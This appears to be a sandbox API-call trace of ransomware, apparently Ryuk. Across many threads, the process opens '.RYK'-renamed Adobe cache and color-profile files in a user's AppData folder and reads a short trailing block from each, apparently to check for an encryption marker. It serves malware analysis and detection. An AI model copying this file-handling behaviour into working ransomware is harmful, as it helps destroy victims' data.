	[0201.584] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x408
	[0201.584] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x9aefcd8 | out: lpFileSize=0x9aefcd8*=35394) returned 1
	[0201.584] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x9aefce8 | out: lpFileSize=0x9aefce8*=35394) returned 1
	[0201.584] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0201.584] ReadFile (in: hFile=0x408, lpBuffer=0x9aefd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9aefca0, lpOverlapped=0x0 | out: lpBuffer=0x9aefd30*, lpNumberOfBytesRead=0x9aefca0*=0x19, lpOverlapped=0x0) returned 1
	[0201.587] CloseHandle (hObject=0x408) returned 1

Thread:
	id = 1653
	os_tid = 0x1fc4

	[0202.109] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0202.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414
	[0202.110] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x9c1f6d8 | out: lpFileSize=0x9c1f6d8*=138738) returned 1
	[0202.110] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x9c1f6e8 | out: lpFileSize=0x9c1f6e8*=138738) returned 1
	[0202.110] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.110] ReadFile (in: hFile=0x414, lpBuffer=0x9c1f730, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9c1f6a0, lpOverlapped=0x0 | out: lpBuffer=0x9c1f730*, lpNumberOfBytesRead=0x9c1f6a0*=0x19, lpOverlapped=0x0) returned 1
	[0202.113] CloseHandle (hObject=0x414) returned 1

Thread:
	id = 1666
	os_tid = 0x1730

	[0202.121] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0202.121] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0202.122] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x8e2f658 | out: lpFileSize=0x8e2f658*=53474) returned 1
	[0202.122] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x8e2f668 | out: lpFileSize=0x8e2f668*=53474) returned 1
	[0202.122] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.122] ReadFile (in: hFile=0x41c, lpBuffer=0x8e2f6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e2f620, lpOverlapped=0x0 | out: lpBuffer=0x8e2f6b0*, lpNumberOfBytesRead=0x8e2f620*=0x19, lpOverlapped=0x0) returned 1
	[0202.125] CloseHandle (hObject=0x41c) returned 1

Thread:
	id = 1667
	os_tid = 0x16b0

	[0202.131] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0202.132] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0202.132] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x8f6f858 | out: lpFileSize=0x8f6f858*=5410) returned 1
	[0202.132] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x8f6f868 | out: lpFileSize=0x8f6f868*=5410) returned 1
	[0202.132] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.132] ReadFile (in: hFile=0x41c, lpBuffer=0x8f6f8b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f6f820, lpOverlapped=0x0 | out: lpBuffer=0x8f6f8b0*, lpNumberOfBytesRead=0x8f6f820*=0x19, lpOverlapped=0x0) returned 1
	[0202.135] CloseHandle (hObject=0x41c) returned 1

Thread:
	id = 1668
	os_tid = 0x16b8

	[0202.141] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0202.141] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0202.141] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x8c6fbd8 | out: lpFileSize=0x8c6fbd8*=77762) returned 1
	[0202.141] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x8c6fbe8 | out: lpFileSize=0x8c6fbe8*=77762) returned 1
	[0202.142] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.142] ReadFile (in: hFile=0x420, lpBuffer=0x8c6fc30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c6fba0, lpOverlapped=0x0 | out: lpBuffer=0x8c6fc30*, lpNumberOfBytesRead=0x8c6fba0*=0x19, lpOverlapped=0x0) returned 1
	[0202.145] CloseHandle (hObject=0x420) returned 1

Thread:
	id = 1669
	os_tid = 0x8f8

	[0202.153] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0202.153] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0202.154] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x927fc38 | out: lpFileSize=0x927fc38*=1458) returned 1
	[0202.154] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x927fc48 | out: lpFileSize=0x927fc48*=1458) returned 1
	[0202.154] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.154] ReadFile (in: hFile=0x420, lpBuffer=0x927fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x927fc00, lpOverlapped=0x0 | out: lpBuffer=0x927fc90*, lpNumberOfBytesRead=0x927fc00*=0x19, lpOverlapped=0x0) returned 1
	[0202.157] CloseHandle (hObject=0x420) returned 1

Thread:
	id = 1670
	os_tid = 0x944

	[0202.163] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.020] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0204.021] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x93bfcd8 | out: lpFileSize=0x93bfcd8*=66498) returned 1
	[0204.021] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x93bfce8 | out: lpFileSize=0x93bfce8*=66498) returned 1
	[0204.021] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.021] ReadFile (in: hFile=0x428, lpBuffer=0x93bfd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93bfca0, lpOverlapped=0x0 | out: lpBuffer=0x93bfd30*, lpNumberOfBytesRead=0x93bfca0*=0x19, lpOverlapped=0x0) returned 1
	[0204.021] CloseHandle (hObject=0x428) returned 1

Thread:
	id = 1671
	os_tid = 0x1c38

	[0202.167] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0202.168] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x430
	[0202.168] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x957f9b8 | out: lpFileSize=0x957f9b8*=2962) returned 1
	[0202.168] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x957f9c8 | out: lpFileSize=0x957f9c8*=2962) returned 1
	[0202.168] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.169] ReadFile (in: hFile=0x430, lpBuffer=0x957fa10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x957f980, lpOverlapped=0x0 | out: lpBuffer=0x957fa10*, lpNumberOfBytesRead=0x957f980*=0x19, lpOverlapped=0x0) returned 1
	[0202.171] CloseHandle (hObject=0x430) returned 1

Thread:
	id = 1672
	os_tid = 0xbc4

	[0202.686] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0202.687] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0202.687] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x906fc38 | out: lpFileSize=0x906fc38*=35394) returned 1
	[0202.687] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x906fc48 | out: lpFileSize=0x906fc48*=35394) returned 1
	[0202.687] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.687] ReadFile (in: hFile=0x438, lpBuffer=0x906fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x906fc00, lpOverlapped=0x0 | out: lpBuffer=0x906fc90*, lpNumberOfBytesRead=0x906fc00*=0x19, lpOverlapped=0x0) returned 1
	[0202.689] CloseHandle (hObject=0x438) returned 1

Thread:
	id = 1684
	os_tid = 0x2010

	[0202.691] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0202.691] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0202.692] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x983f5f8 | out: lpFileSize=0x983f5f8*=138738) returned 1
	[0202.692] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x983f608 | out: lpFileSize=0x983f608*=138738) returned 1
	[0202.692] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.692] ReadFile (in: hFile=0x438, lpBuffer=0x983f650, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x983f5c0, lpOverlapped=0x0 | out: lpBuffer=0x983f650*, lpNumberOfBytesRead=0x983f5c0*=0x19, lpOverlapped=0x0) returned 1
	[0202.692] CloseHandle (hObject=0x438) returned 1

Thread:
	id = 1685
	os_tid = 0x2014

	[0202.694] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0202.694] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0202.695] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x99ef658 | out: lpFileSize=0x99ef658*=53474) returned 1
	[0202.695] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x99ef668 | out: lpFileSize=0x99ef668*=53474) returned 1
	[0202.695] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.695] ReadFile (in: hFile=0x438, lpBuffer=0x99ef6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x99ef620, lpOverlapped=0x0 | out: lpBuffer=0x99ef6b0*, lpNumberOfBytesRead=0x99ef620*=0x19, lpOverlapped=0x0) returned 1
	[0202.695] CloseHandle (hObject=0x438) returned 1

Thread:
	id = 1686
	os_tid = 0x2018

	[0202.697] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0202.697] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0202.697] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x8dafaf8 | out: lpFileSize=0x8dafaf8*=5410) returned 1
	[0202.697] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x8dafb08 | out: lpFileSize=0x8dafb08*=5410) returned 1
	[0202.697] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.698] ReadFile (in: hFile=0x438, lpBuffer=0x8dafb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8dafac0, lpOverlapped=0x0 | out: lpBuffer=0x8dafb50*, lpNumberOfBytesRead=0x8dafac0*=0x19, lpOverlapped=0x0) returned 1
	[0202.698] CloseHandle (hObject=0x438) returned 1

Thread:
	id = 1687
	os_tid = 0x201c

	[0202.699] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0202.700] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0202.700] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x96ef6b8 | out: lpFileSize=0x96ef6b8*=77762) returned 1
	[0202.700] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x96ef6c8 | out: lpFileSize=0x96ef6c8*=77762) returned 1
	[0202.700] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.700] ReadFile (in: hFile=0x438, lpBuffer=0x96ef710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x96ef680, lpOverlapped=0x0 | out: lpBuffer=0x96ef710*, lpNumberOfBytesRead=0x96ef680*=0x19, lpOverlapped=0x0) returned 1
	[0202.700] CloseHandle (hObject=0x438) returned 1

Thread:
	id = 1688
	os_tid = 0x2020

	[0202.702] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0202.702] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0202.703] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x8eff938 | out: lpFileSize=0x8eff938*=1458) returned 1
	[0202.703] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x8eff948 | out: lpFileSize=0x8eff948*=1458) returned 1
	[0202.703] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0202.703] ReadFile (in: hFile=0x438, lpBuffer=0x8eff990, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eff900, lpOverlapped=0x0 | out: lpBuffer=0x8eff990*, lpNumberOfBytesRead=0x8eff900*=0x19, lpOverlapped=0x0) returned 1
	[0202.703] CloseHandle (hObject=0x438) returned 1

Thread:
	id = 1689
	os_tid = 0x2024

	[0202.705] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.015] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.015] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x8c2f6f8 | out: lpFileSize=0x8c2f6f8*=66498) returned 1
	[0204.015] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x8c2f708 | out: lpFileSize=0x8c2f708*=66498) returned 1
	[0204.016] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.016] ReadFile (in: hFile=0x438, lpBuffer=0x8c2f750, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c2f6c0, lpOverlapped=0x0 | out: lpBuffer=0x8c2f750*, lpNumberOfBytesRead=0x8c2f6c0*=0x19, lpOverlapped=0x0) returned 1
	[0204.019] CloseHandle (hObject=0x438) returned 1

Thread:
	id = 1690
	os_tid = 0x2028

	[0203.238] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0203.239] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.239] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x9b0f8f8 | out: lpFileSize=0x9b0f8f8*=2962) returned 1
	[0203.239] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x9b0f908 | out: lpFileSize=0x9b0f908*=2962) returned 1
	[0203.240] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.240] ReadFile (in: hFile=0x4ac, lpBuffer=0x9b0f950, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9b0f8c0, lpOverlapped=0x0 | out: lpBuffer=0x9b0f950*, lpNumberOfBytesRead=0x9b0f8c0*=0x19, lpOverlapped=0x0) returned 1
	[0203.240] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1691
	os_tid = 0x202c


Thread:
	id = 1704
	os_tid = 0x2064

	[0203.241] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0203.242] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.242] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8f0f778 | out: lpFileSize=0x8f0f778*=35394) returned 1
	[0203.242] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8f0f788 | out: lpFileSize=0x8f0f788*=35394) returned 1
	[0203.242] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.242] ReadFile (in: hFile=0x4ac, lpBuffer=0x8f0f7d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f0f740, lpOverlapped=0x0 | out: lpBuffer=0x8f0f7d0*, lpNumberOfBytesRead=0x8f0f740*=0x19, lpOverlapped=0x0) returned 1
	[0203.243] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1705
	os_tid = 0x2068

	[0203.244] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0203.244] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.245] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8dafa18 | out: lpFileSize=0x8dafa18*=138738) returned 1
	[0203.245] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8dafa28 | out: lpFileSize=0x8dafa28*=138738) returned 1
